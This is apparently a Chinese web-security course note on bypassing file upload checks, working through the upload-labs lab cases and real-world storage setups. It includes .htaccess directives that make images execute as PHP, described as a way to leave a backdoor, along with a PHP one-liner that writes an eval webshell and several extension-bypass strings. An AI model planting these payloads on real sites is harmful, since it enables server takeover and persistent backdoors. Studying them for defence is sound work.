Web攻防-文件上传&黑白名单&MIME&JS前端&执行权限&编码解析&OSS存储&分域名&应用场景

知识点:

1、WEB攻防-文件上传-前端&黑白名单&MIME&文件头等

2、WEB攻防-文件上传-执行权限&解码还原&云存储&分站等

3、WEB攻防-文件上传-JS提取&特定漏洞&第三方编辑器

4、WEB攻防-文件上传-思维导图形成

bash 复制代码
常规文件上传:
1、一定要明白:
文件解析安全问题上,格式解析是一对一的(不能jpg解析php)
换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析
 
2、文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!

1、无限制
任意上传,什么文件都能上传

2、有限制:
限制后缀格式(判断后缀名(黑白名单),MIME类型,文件头等)

应用场景:
1、注册用户上传地方
2、后台或其他管理页面
3、源码泄露或盲测文件
4、JS或API接口的代码
5、第三方编辑器上传漏洞
6、特定的源码审计漏洞

一、演示案例-WEB攻防-文件上传-前端&黑白名单&MIME&文件头等

0、测试环境安装参考

字典:https://github.com/fuzzdb-project/fuzzdb

靶场环境:https://github.com/sqlsec/upload-labs-docker

docker安装

下载靶场项目并进入项目文件夹

bash 复制代码
cd upload-labs-docker

一键部署运行

bash 复制代码
docker-compose up -d


1、前端JS

如何判断是否是前端验证呢?

首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了

如何绕过?

先上传一个图片后缀抓包改成脚本后缀

2、.htaccess(apache独有的配置文件)

一般上传用的不多,主要用来留后门
apache中,.htaccess文件可以上传并执行

这个文件定义了哪些格式文件可以以脚本方式解析

方式一:

.htaccess中写入:

bash 复制代码
<FilesMatch "s.jpg">
	SetHandler application/x-httpd-php
</FilesMatch>

然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件

最好拿到shell之后修改自带的这个文件,添加上面的那段代码,就可以留个后门了

方式二:

bash 复制代码
AddType application/x-httpd-php .png  


.htaccess文件成功上传后,这时候再上传一个png图片的后门,就可以解析成脚本

3、MIME类型

bash 复制代码
Content-Type:image/png

4、文件头判断

bash 复制代码
GIF89a

5、黑名单-过滤不严


bash 复制代码
无递归(只检测一次,没循环)
pphphp(因为代码中是把匹配到的黑名单替换为空)

6、黑名单-过滤不严(windows中大小写没问题,但是在linux上是不能大小写的,要么全小写,要么全大写)

系统大小写敏感属性

7、PHP低版本GET-%00截断


bash 复制代码
自动解码一次
/var/www/html/upload/x.php%00


8、PHP低版本POST-%00截断

bash 复制代码
手工解码一次
../upload/x.php%00 二次解码



9、黑名单-过滤不严

bash 复制代码
php3

利用fuzz思路去跑后缀


10、逻辑不严-条件竞争

1.上传不断发包

2.请求不断发包

3.访问创建脚本代码

bash 复制代码
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

11、二次渲染

后端语言会对图片进行二次渲染,让图片更好的呈现出来,但是这样就会造成一个图片里插入的脚本代码丢失的情况,但是需要配合文件包含漏洞,没啥意义。

1.先搞个正常图片,上传图片后导出渲染后的图片

2.对比保留部分,在保留部分添加后门代码



3.最后利用提示的文件包含执行图片后门代码

12、函数缺陷

bash 复制代码
1.使用move_uploaded_file 函数
2.保存的文件名可控
bash 复制代码
1.php/.


二、演示案例-WEB攻防-文件上传-应用场景-JS提取&源码类&编辑器

1、JS或API接口代码

DEMO







真实案例


2、第三方编辑器上传漏洞

bash 复制代码
ueditor漏洞参考:
https://www.cnblogs.com/linglinglingling/p/18040866
https://blog.csdn.net/weixin_58099903/article/details/125810825

DEMO


真实案例





3、特定的源码漏洞



三、演示案例-WEB攻防-文件上传-实战遇到的情况-执行权限&解码还原&分站存储&OSS存储

1、执行权限

文件上传后存储目录不给执行权限



绕过条件:能控制上传文件存储目录

2、解码还原

文件上传后利用编码传输解码还原


绕过:无法直接绕过

3、分站存储

bash 复制代码
upload.xiaodi8.com 上传


bash 复制代码
images.xiaodi8.com 存储



绕过:迂回战术,上传脚本到images.xiaodi8.com并控制这个网站,在从images.xiaodi8.com迂回到upload.xiaodi8.com(也就是类似旁站、C段入侵)

4、OSS对象

bash 复制代码
Access控制-OSS对象存储-Bucket对象





绕过:无法直接绕过

相关推荐
mooyuan天天4 天前
DVWA靶场通关笔记-文件上传(Medium级别)
web安全·文件上传·文件上传漏洞·dvwa靶场·文件上传mime
Crazy Struggle15 天前
.NET 8 gRPC 实现高效100G大文件断点续传工具
文件上传·winform·.net 8.0
mooyuan天天2 个月前
upload-labs通关笔记-第11关 文件上传之双写绕过
文件上传·文件上传漏洞·upload-labs·双写绕过·upload-labs靶场
mooyuan天天2 个月前
upload-labs通关笔记-第10关 文件上传之点多重过滤(空格点绕过)
web安全·代码审计·文件上传·文件上传漏洞·upload-labs靶场
mooyuan天天2 个月前
upload-labs通关笔记-第5关 文件上传之.ini绕过
文件上传·文件上传漏洞·upload-labs靶场
唐僧洗头爱飘柔95272 个月前
【SSM-SpringMVC(二)】Spring接入Web环境!本篇开始研究SpringMVC的使用!SpringMVC数据响应和获取请求数据
java·spring·文件上传·页面跳转·数据响应·获取请求数据·静态资源访问
mooyuan天天2 个月前
upload-labs通关笔记-第2关 文件上传之MIME绕过
web安全·文件上传·文件上传漏洞·mime·upload-labs靶场
mooyuan天天2 个月前
upload-labs通关笔记-第3关 文件上传之黑名单绕过
web安全·文件上传·文件上传漏洞·upload-labs靶场
Clockwiseee2 个月前
文件上传总结
运维·服务器·学习·文件上传